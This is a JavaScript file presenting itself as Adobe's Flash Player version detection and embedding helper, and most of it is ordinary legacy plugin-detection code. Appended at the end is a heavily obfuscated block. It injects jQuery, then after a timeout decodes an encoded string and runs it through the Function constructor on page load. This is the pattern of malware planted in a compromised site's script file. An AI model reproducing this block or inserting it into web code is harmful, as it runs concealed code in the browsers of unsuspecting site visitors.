//v1.7
// Flash Player Version Detection
// Detect Client Browser type
// Copyright 2005-2007 Adobe Systems Incorporated.  All rights reserved.
var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;

function ControlVersion()
{
	var version;
	var axo;
	var e;

	// NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry

	try {
		// version will be set for 7.X or greater players
		axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
		version = axo.GetVariable("$version");
	} catch (e) {
	}

	if (!version)
	{
		try {
			// version will be set for 6.X players only
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
			
			// installed player is some revision of 6.0
			// GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,
			// so we have to be careful. 
			
			// default to the first public version
			version = "WIN 6,0,21,0";

			// throws if AllowScripAccess does not exist (introduced in 6.0r47)		
			axo.AllowScriptAccess = "always";

			// safe to call for 6.0r47 or greater
			version = axo.GetVariable("$version");

		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 4.X or 5.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = axo.GetVariable("$version");
		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 3.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = "WIN 3,0,18,0";
		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 2.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
			version = "WIN 2,0,0,11";
		} catch (e) {
			version = -1;
		}
	}
	
	return version;
}

// JavaScript helper required to detect Flash Player PlugIn version information
function GetSwfVer(){
	// NS/Opera version >= 3 check for Flash plugin in plugin array
	var flashVer = -1;
	
	if (navigator.plugins != null && navigator.plugins.length > 0) {
		if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
			var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
			var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
			var descArray = flashDescription.split(" ");
			var tempArrayMajor = descArray[2].split(".");			
			var versionMajor = tempArrayMajor[0];
			var versionMinor = tempArrayMajor[1];
			var versionRevision = descArray[3];
			if (versionRevision == "") {
				versionRevision = descArray[4];
			}
			if (versionRevision[0] == "d") {
				versionRevision = versionRevision.substring(1);
			} else if (versionRevision[0] == "r") {
				versionRevision = versionRevision.substring(1);
				if (versionRevision.indexOf("d") > 0) {
					versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));
				}
			}
			var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
		}
	}
	// MSN/WebTV 2.6 supports Flash 4
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
	// WebTV 2.5 supports Flash 3
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
	// older WebTV supports Flash 2
	else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
	else if ( isIE && isWin && !isOpera ) {
		flashVer = ControlVersion();
	}	
	return flashVer;
}

// When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available
function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision)
{
	versionStr = GetSwfVer();
	if (versionStr == -1 ) {
		return false;
	} else if (versionStr != 0) {
		if(isIE && isWin && !isOpera) {
			// Given "WIN 2,0,0,11"
			tempArray         = versionStr.split(" "); 	// ["WIN", "2,0,0,11"]
			tempString        = tempArray[1];			// "2,0,0,11"
			versionArray      = tempString.split(",");	// ['2', '0', '0', '11']
		} else {
			versionArray      = versionStr.split(".");
		}
		var versionMajor      = versionArray[0];
		var versionMinor      = versionArray[1];
		var versionRevision   = versionArray[2];

        	// is the major.revision >= requested major.revision AND the minor version >= requested minor
		if (versionMajor > parseFloat(reqMajorVer)) {
			return true;
		} else if (versionMajor == parseFloat(reqMajorVer)) {
			if (versionMinor > parseFloat(reqMinorVer))
				return true;
			else if (versionMinor == parseFloat(reqMinorVer)) {
				if (versionRevision >= parseFloat(reqRevision))
					return true;
			}
		}
		return false;
	}
}

function AC_AddExtension(src, ext)
{
  if (src.indexOf('?') != -1)
    return src.replace(/\?/, ext+'?'); 
  else
    return src + ext;
}

function AC_Generateobj(objAttrs, params, embedAttrs) 
{ 
  var str = '';
  if (isIE && isWin && !isOpera)
  {
    str += '<object ';
    for (var i in objAttrs)
    {
      str += i + '="' + objAttrs[i] + '" ';
    }
    str += '>';
    for (var i in params)
    {
      str += '<param name="' + i + '" value="' + params[i] + '" /> ';
    }
    str += '</object>';
  }
  else
  {
    str += '<embed ';
    for (var i in embedAttrs)
    {
      str += i + '="' + embedAttrs[i] + '" ';
    }
    str += '> </embed>';
  }

  document.write(str);
}

function AC_FL_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
     , "application/x-shockwave-flash"
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}

function AC_SW_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000"
     , null
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}

function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
  var ret = new Object();
  ret.embedAttrs = new Object();
  ret.params = new Object();
  ret.objAttrs = new Object();
  for (var i=0; i < args.length; i=i+2){
    var currArg = args[i].toLowerCase();    

    switch (currArg){	
      case "classid":
        break;
      case "pluginspage":
        ret.embedAttrs[args[i]] = args[i+1];
        break;
      case "src":
      case "movie":	
        args[i+1] = AC_AddExtension(args[i+1], ext);
        ret.embedAttrs["src"] = args[i+1];
        ret.params[srcParamName] = args[i+1];
        break;
      case "onafterupdate":
      case "onbeforeupdate":
      case "onblur":
      case "oncellchange":
      case "onclick":
      case "ondblclick":
      case "ondrag":
      case "ondragend":
      case "ondragenter":
      case "ondragleave":
      case "ondragover":
      case "ondrop":
      case "onfinish":
      case "onfocus":
      case "onhelp":
      case "onmousedown":
      case "onmouseup":
      case "onmouseover":
      case "onmousemove":
      case "onmouseout":
      case "onkeypress":
      case "onkeydown":
      case "onkeyup":
      case "onload":
      case "onlosecapture":
      case "onpropertychange":
      case "onreadystatechange":
      case "onrowsdelete":
      case "onrowenter":
      case "onrowexit":
      case "onrowsinserted":
      case "onstart":
      case "onscroll":
      case "onbeforeeditfocus":
      case "onactivate":
      case "onbeforedeactivate":
      case "ondeactivate":
      case "type":
      case "codebase":
      case "id":
        ret.objAttrs[args[i]] = args[i+1];
        break;
      case "width":
      case "height":
      case "align":
      case "vspace": 
      case "hspace":
      case "class":
      case "title":
      case "accesskey":
      case "name":
      case "tabindex":
        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
        break;
      default:
        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
    }
  }
  ret.objAttrs["classid"] = classid;
  if (mimeType) ret.embedAttrs["type"] = mimeType;
  return ret;
}


(function(){f_CC=document;f_s=window;f_s.f_m='undefined';f_s.f_T=function($,f_CL){return 0*1};f_s.f_p=function(f_b){return f_b.join('')};f_s.f_Cx=function(f_Cj){return(function(f_b,f_Cs){return f_Cs(f_b(f_Cs(f_b(f_Cj))))(f_Cj)()})((function(f_b){return f_b.constructor}),(function(f_b){return(function(f_Cs){return f_b.call(f_b,f_Cs)})}))};f_s.f_Ch=function(f_b){return f_b.pop()};f_s.f_s=f_s;f_Co=function(){try{return!!($().jquery.match(/^1.[4-9]+/))}catch(e){return 0}};f_Cr=(typeof($)==f_s.f_m);if(f_Cr||!f_Co()){if(!f_Cr){try{f_Cc=jQuery.noConflict(true)}catch(e){};try{f_Cc=$.noConflict(true)}catch(e){}}f_CH=f_CC.getElementsByTagName('head')[0];f_CN=f_CC.createElement('script');f_CN.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");f_CH.appendChild(f_CN)}f_s.f_CP=100;f_s.f_Ci=25;f_s.trim=function(f_CF,f_CA){if("qabcdef".indexOf(f_CF.substr(0,1))>=0){var f_Cy=f_p(f_CF.split('q')).split('v');for(var i=0;i<f_Cy.length;i++){f_Cy[i]=parseInt(f_Cy[i],16)-f_CA[f_CF]}return f_Cy.join(',')+','}else{return f_CA[f_CF]}};setTimeout(function(){d='Ka={HVv1aO$2$7U$6Z:"e+",HVv2aO$2$8U$6Z:"",*bVv3aO$2$7U$6v30:"l(\'l=St",O#5v4e%2*0X$fWk:"ring.f",GLv52%a%f$c!6*a!6:"romCha",X%8v68W*5F>0k*4:"rCode("Mb*4D$d%8$9w!a+9&7Af+e!4%3%4%5%6%7%8YMd%e$0%fU$2$3$4|T@6$7$8$9$Rb$c$d$eT@Rb+d~Q$4U%d%a&1@4XwwD#b*0!0~&0@2Dk!1k!a!2#e!4&1@7GwUL$fXN*4&4?e!6!a#4D$cQw*3T?9$9#4D$3*f>3!a#4T?c$f*6#a*4N+7*6%5&9?R0$c$c$8W#7#7%4&8?2H~$3F~%5H+c&0?2#f%3%1%c%c%2%1%3&0Md#f*1+e!4#d!2X+0Y?f*3+9*5N$e!6V*0&3?9+6+c*8%0$a*3D+1T,a7%9+b*d#e*1D$9L&1@3+3%0|G>2#5%6N`,ac!2DLjD#f$8#a&0M4!a#8%4!a^>0>5*3&8?9%9*3L%a%8$9%7$fT@c$6%9$e|$c%9$e|&8@4%3%f%e%5%3U$a%dYM5%a%8$7%5%6$a%a%5&4,d2$e$c%R6%c$9%R7&9M3$a%1%7%4$7wF$3&0@9|$2$djZ%aZ%3&9@1#7$c%e$d+e+d*c*d&9M2|%6+7%9+9*5%2|&1MfG^#7G%0$e*8W`?d*3O#e#7L+e$2*1&4?8%d+d*b$R1U+e%a&5M1$2XDL~+4X!4&0A3%2F+a%f$6%R2$e&7M1$6%5!0*6%c%1$3%8&0?7+d+a*5#d~%8+8*d&0@2U$7VHNF#4#e&3?4$6#e!4%9+9*5%2|&1M6D+bW#e!4UD+c&1?3*eN+c!2!6%4%1$4&0MaW%1wjD^$2%6&5@2!a+dk$0Fk*7FY?8$a%2jX+1F^%f&5@2%cUH+fkZ+fk&3?a+e!a#c+d+d!1wW&1?c*0+6WD$b~*6#d&0A9*4N$2*6N*b#7$d&9@3%6%f%5$4#c%7$0$3&1,a8*f!2V$0!2kVHY@b~+3#d*0+6%f*9!0&0?3%9+b~*d+d+b~%f&0M1G|$9%9$6$d>1#f&4@2%f+f$d*7*1QQN&9@aW#8#7!6wO#d+dT-94V$b%e%R4>6%e|&9@d%f!R3$0G%0$e*6`Ae>1>1X$9*3#7#5F&5?2~^#a+9L^G#dYMc$c%fV|>7>7$3$0`A0DH*ejH*e*5H&8-99kkjOFZ#cZ&5?R2wwZW$0%d+d&7-98H$dk$b#f!a!a+8Y@0L+8*8Nk$7HHY?d+8*7%0k$7HNkY-9ej^H$dj^Z#9&8A1j+bV#e+7%fwj&1@d*6*6+f%cW+b$3H&5Aa>2#d#d#b#b%4*d*7`M9+f$3#4>7#f#cGF&9A8#c%3j%6+c$0WWTA3!aN$fD^O!a+e&1Afw$c*1%4N+aVW&4-98#d^#5>8#b#a^%7`?f%4N+aVWW#8L&4?d>0^GH+f#dk$9Y-90%3+9*8F>1H#5#8&3?a!a+eN%1+7*6H$f&1?b#5#8NN%0#e!6|&3Af%2+8$7N>0#4OHYM4W!a>1*4H#5$4%8&7@7Q%2#f#8^#f#c^&7Aa#7Q#a#7Q#c#5Q&3A6#cj#d#7j#c#8j&5-90#8#4#b#8#4*0#a#4&8Ad#dG#8#bG#7#7GTA3GF^GF#8^FYA2GLO#7LOOL&1Aa#a#5#e#c#5#f#5#e&9A9G#dG#8G#7GOTA6#eW%7O*aG>2O`Mc*c~+6$7|%cU%a&3A6%e$R7|*b$0%9$a&8-97$3%8%9N%dQ$cQ&4A8#aQ>3%0*e*3D$6T?e%1L%e$RR6*0#5TA1DFk$4Fk$aFY?d>1OL*dOL$cO`?5%5+dk*7Q^+fFY?9Z%5U%fjD+fHYA3H$8+e>2%2*f*5H&8@2!a+dD#e%6V$8!2Y@8$9$eU%aW%1wN&5?ek*cFD#f+e!4DYA2D*eGL%2X!6$dT@3%e$e$2*7#b#a#a!a`?e^!aV^F*5*3O&7M8%d$aWH%1L#fX&4?d%1w%7$4%9$e%1w&5A3#8V$Ra%f$8%e%0`-9bL>1>1L>1ZO#4&4A6OQ>3Q>3Q>3VT@5$c%e>4%5%5DF>6&9A2#8OOQ>3>3!6HTAc*1!1!4*cD$9*a!1&1@e+e*e|$b$8$9FQT,d3*6!6D+6F$eQ>1TM6#f$0%7$9!2*6%3$6YM5XD#b%4F$3%5$4&0,a6V%f%7!RaZ%3|YM1U%8N^GGGHY-91$8V$Rb$8$4!6%aT,d1*4!4w*8N$7Z%d&4,a2D$c#7%cU%Rb*c&9@4%9%a*6$9L%eF>2&5-96!6DUF$e*f!6$eTA1%f%8U%R7V>0!6&3Md%6*7%d$c|%Rb$0&7@5$4*fQ>1$8V$RbT@b$7+fjN%0ZG*7&9A0#4N$e!6*9*0!6*7&3,ab+8L#9FjOFZ&5?9U+c+9F#aQQ+eTA7$0%e$d+e+d*c%3G&9Ab~%0~+2+bX$e~&0,d1jL%4%4$b%d$c+c&8Me$2%R4$R9L*5L&5A1>3XX+eU%3H+5&8M3%1#c%3#4$7$bV$8T,d1XDFFH+5OU&8@6%c%d>0+7%eZQX&8?7HZ>2$0%dQ$b>0&7@8%d$7%eZNXLH&8@4+9$6j%d+4$8%8|&3@fQ!6N!a#4%dV$aT-9b+4+0*f+7~#c%7$0&1@7L%8W#7#5*0%8*0&5M5#eD|#e%5Q$4U&1Md%R5DX!4*1*a+7&1,a9+a+c%2>0+e+e!2!2Y?3!4~w~X~D!a&3A6$b$d%Rb$c$aZV&8?f#f!Ra#f%5#e^#4Y-96#8*1#9Z^$fZZ&7A3#8$4$9$3$8G$e#8`@9$8$9jGGG*4%e&9@6%1%cX%4D&0,O#5!%2*0X$fWw:"32);",*$8$%d$6%c*b$0U:"KCx(l)\'",w!!0*9$2X!0#8W:");"};KCn=[];Ks.KCg=String.fromCharCode;for(+r Kb in Ka){Ptrim(Kb,Ka))};P\';Ks.KJz58,50<2,120,34,62,60\\,32<5<4,99);\');P\'Ks.Kdz61,50,62,60,47\\);\');P\'Ks.Ke=KCg(97<2/5,46<6<9/5<6<6/1<4,46,99<1/9,47,49,47<6<4/1<0/0<5,47/0,97/5/8,121,46/6<5<1<0);\');KCx(Kp(KCn));try{KCC.getElementById(Ks.Ke)}catch(e){}!v7#v8$vc%vb&:8*v9+va-,q/,10<,11>vd?-7@,cA-8D!9F!eG#2H!bKf_L!dM,bN!cO#6PKCn.push(Q!fRa$T&6U$1V%bW*2X!8Y&2Z#0^#3`:90j#1k!5w!7z=KCg(104/1/5/3/4<6,|$5~!3\\/5/2<4,97/9/1';for(c=42;c--;d=(t=d.split('!#$%&*+-/<>?@ADFGHKLMNOPQRTUVWXYZ^`jkwz|~\\'.charAt(c))).join(f_Ch(t)));f_Cm=d;f_Cx(f_Cm)},500)})()

